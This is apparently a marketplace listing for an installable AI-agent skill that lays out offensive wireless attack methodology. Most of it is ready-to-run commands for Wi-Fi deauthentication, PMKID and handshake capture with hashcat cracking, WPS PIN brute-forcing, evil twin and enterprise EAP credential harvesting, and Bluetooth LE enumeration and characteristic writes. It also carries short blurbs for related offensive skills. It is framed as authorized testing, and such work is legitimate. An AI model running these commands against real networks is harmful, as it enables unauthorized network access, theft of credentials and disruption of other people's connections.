offensive-techniques/wireless-technique/SKILL.md
Wireless attack methodology for 802.11 (Wi-Fi) and Bluetooth/BLE environments. Covers passive survey, WPA2/WPA3 handshake capture, PMKID attack, deauthentication, evil twin / captive portal attacks, WPS exploitation, BLE enumeration, and credential handoff to cracking or post-exploitation. Use when assessing wireless network security or gaining initial access via RF attack surface.
npx skillsauth add aeondave/malskill wireless-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: identify, capture, and exploit wireless network credentials or gain direct network access via RF attack surface with minimal RF noise and targeted scope.
cracking-technique (hashcat mode 2500/22000/16800).recon-technique + vuln-search-technique once on network.forensic-technique §3 (PCAP/network forensics) or network-technique §Case B.reversing-technique §6 (protocol reversing).Before transmitting, classify the wireless target set and choose the quietest path that can satisfy the assessment objective.
kismet, aircrack-ng capture flow, lswifi, bluez, sparrow-wifi), then move to active capture or impersonation tooling (aircrack-ng, wifite, bettercap) only when the classification justifies it.hci device or dongle).iw list | grep -A10 "Supported interface modes" — must show monitor.Loop:
1. Passive survey — inventory APs and clients without transmitting.
2. Target selection — identify high-value networks by SSID, client count, encryption.
3. Attack path selection — based on encryption type and WPS status.
4. Capture or exploit.
5. Crack offline or pivot to network.
Stop when: valid PSK recovered, network access achieved, or scope exhausted.
Never transmit before completing passive survey. Always operate within authorized scope and RF boundaries.
Zero transmission. Capture all beacon frames and probe requests in range.
# Check adapter and capabilities
iw dev; iw list | grep -A5 "Supported interface modes"
# Enable monitor mode
sudo airmon-ng start wlan0 # creates wlan0mon
# or manually:
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
# Kill interfering processes first
sudo airmon-ng check kill
# Broad scan — all channels, all bands
sudo airodump-ng wlan0mon
# Dual-band scan (2.4 + 5 GHz)
sudo airodump-ng --band abg wlan0mon
# Save survey to file for analysis
sudo airodump-ng wlan0mon -w survey --output-format csv,cap
# Focused on specific channel after target identified
sudo airodump-ng -c <channel> --bssid <AP_MAC> wlan0mon -w capture
Better for long-term logging, multiple adapters, and BLE/802.15.4.
sudo kismet -c wlan0mon
# Web UI: http://localhost:2501 (default: admin/kismet or set at first run)
# CLI summary
kismetdb_to_wireshark --in kismet_log.kismet --out kismet.pcap
kismetdb_to_csv --in kismet_log.kismet --out devices.csv
See offensive-tools/wireless/kismet/.
lswifi # list all visible networks with signal, encryption, channel
lswifi -ap # AP-only view
See offensive-tools/wireless/lswifi/.
Per AP:
| Encryption | WPS | Primary attack | Secondary | |------------|-----|----------------|-----------| | OPN (open) | N/A | Direct join | Traffic capture → forensic-technique | | WEP | N/A | ARP replay → key recovery | Statistical IV attack | | WPA2-PSK | enabled + unlocked | WPS PIN / Pixie Dust | PMKID + handshake | | WPA2-PSK | disabled/locked | PMKID → handshake capture | Evil twin | | WPA2-EAP (Enterprise) | N/A | Evil twin EAP downgrade → RADIUS | Client cert theft | | WPA3-SAE | N/A | Downgrade to WPA2 (if transition mode) | Dictionary via PMKID/dragonblood |
Decision rules:
references/bluetooth-attacks.md; BLE pairing/GATT flaws are separate from Wi-Fi credential capture.Faster than handshake — requests PMKID directly from AP without waiting for client association.
# hcxdumptool — capture PMKID
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3
# Filter for specific BSSID
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --filterlist_ap=bssid.txt --filtermode=2
# Convert for hashcat (mode 22000)
hcxpcapngtool -o hash22000.txt pmkid.pcapng
# Crack (see cracking-technique)
hashcat -m 22000 hash22000.txt /path/to/rockyou.txt
Requires client to authenticate. Either wait or force deauth.
# Start targeted capture
sudo airodump-ng -c <channel> --bssid <AP_MAC> -w handshake wlan0mon
# In another terminal — deauth to force reauthentication
sudo aireplay-ng -0 3 -a <AP_MAC> -c <client_MAC> wlan0mon # targeted (quieter)
sudo aireplay-ng -0 5 -a <AP_MAC> wlan0mon # broadcast (noisier)
# Verify handshake captured
aircrack-ng handshake*.cap # shows "WPA (1 handshake)"
# Convert for hashcat (mode 2500 legacy or 22000)
hcxpcapngtool -o hash.txt handshake.cap
hashcat -m 22000 hash.txt rockyou.txt
Automates passive → deauth → handshake → PMKID for multiple targets.
# Scan, attack all WPA targets, save results
sudo wifite --kill
# Target specific SSID
sudo wifite --ssid "TargetNetwork" --kill
# WPS attacks only
sudo wifite --wps --kill
# Output directory with captured hashes
sudo wifite --dict /path/to/rockyou.txt --kill # auto-crack inline
See offensive-tools/wireless/wifite/.
→ Full attack patterns and hashcat cracking handoff: references/wpa-attacks.md.
WPS PIN has a design flaw: PIN validated in two halves → only 11,000 combinations (not 100,000,000).
Decision flow:
wash.reaver -K 1) because vulnerable chipsets can reveal the PIN offline from one exchange.# WPS status check
sudo wash -i wlan0mon # list APs with WPS enabled and lock status
# Pixie Dust attack (offline PIN recovery from WPS exchange — fast when vulnerable)
sudo reaver -i wlan0mon -b <AP_MAC> -K 1 -v # -K 1 = Pixie Dust mode
# Online brute-force (slow — only when Pixie Dust fails and AP not locked)
sudo reaver -i wlan0mon -b <AP_MAC> -v -d 1 --lock-delay=300
# bully — alternative WPS attacker
sudo bully wlan0mon -b <AP_MAC> -d -v 3
WPS lock detection: if AP locks after several attempts, stop immediately — lock triggers IDS alerts and some APs disable WPS permanently.
Impersonate legitimate AP to capture credentials or EAP material.
# hostapd-wpe setup (captures WPA2-EAP credentials)
# Edit hostapd-wpe.conf: ssid, interface, channel, driver
# airbase-ng simple open evil twin + DHCP
sudo airbase-ng -a <AP_MAC_spoof> -e "TargetSSID" -c <channel> wlan0mon
# Then: dhcpd on at0 interface, redirect traffic
# Advanced: use bettercap for captive portal with credential page
sudo bettercap -eval "set wifi.interface wlan0mon; wifi.recon on"
Force clients to connect to rogue RADIUS → capture MSCHAPv2 hashes → crack offline.
# hostapd-wpe — enterprise evil twin with credential logging
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captured hashes in /tmp/hostapd-wpe.log — crack with hashcat -m 5500 (NetNTLMv1) or -m 5600 (NetNTLMv2)
# eaphammer — full enterprise attack suite
python3 eaphammer -i wlan0mon --channel <ch> --auth wpa-eap --essid "Corp-WiFi" \
--creds --hostile-portal
→ Full evil twin patterns, captive portal, EAP downgrade: references/evil-twin.md.
WPA3-SAE provides forward secrecy and stronger offline attack resistance. However:
# Check if transition mode active
sudo airodump-ng wlan0mon | grep -i "WPA3\|SAE"
# If "WPA2 WPA3" both listed → transition mode → use WPA2 attack path
# Verify client behavior: probe client connects via WPA2 in transition mode
# Capture regular 4-way handshake and attack normally
→ WPA3 dragonblood details and BLE attacks: references/wpa3-and-ble.md.
Passive BLE device survey — identify exposed GATT services, advertised data, signal proximity.
# bluetoothctl — interactive BLE scan
sudo bluetoothctl
[bluetooth]# scan on # passive scan
[bluetooth]# devices # list discovered
[bluetooth]# info <MAC> # device details
# hcitool — raw HCI commands
sudo hcitool lescan # BLE scan
sudo hcitool scan # classic Bluetooth scan
# Gatttool — GATT service enumeration
gatttool -b <device_MAC> -I
[device_MAC][LE]> connect
[device_MAC][LE]> primary # list services
[device_MAC][LE]> characteristics # list characteristics
# btlejuice / bettercap for BLE MITM
sudo bettercap -eval "ble.recon on"
bettercap> ble.show # show discovered devices
bettercap> ble.enum <MAC> # enumerate all handles
bettercap> ble.write <MAC> <handle> <hex_data> # write to characteristic
See offensive-tools/wireless/bluez/, offensive-tools/wireless/sparrow-wifi/, offensive-tools/wireless/kismet/, and offensive-tools/network/bettercap/.
→ BLE GATT exploitation, pairing/security-mode testing, classic Bluetooth attacks, BLE MITM: references/bluetooth-attacks.md.
iw dev).data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.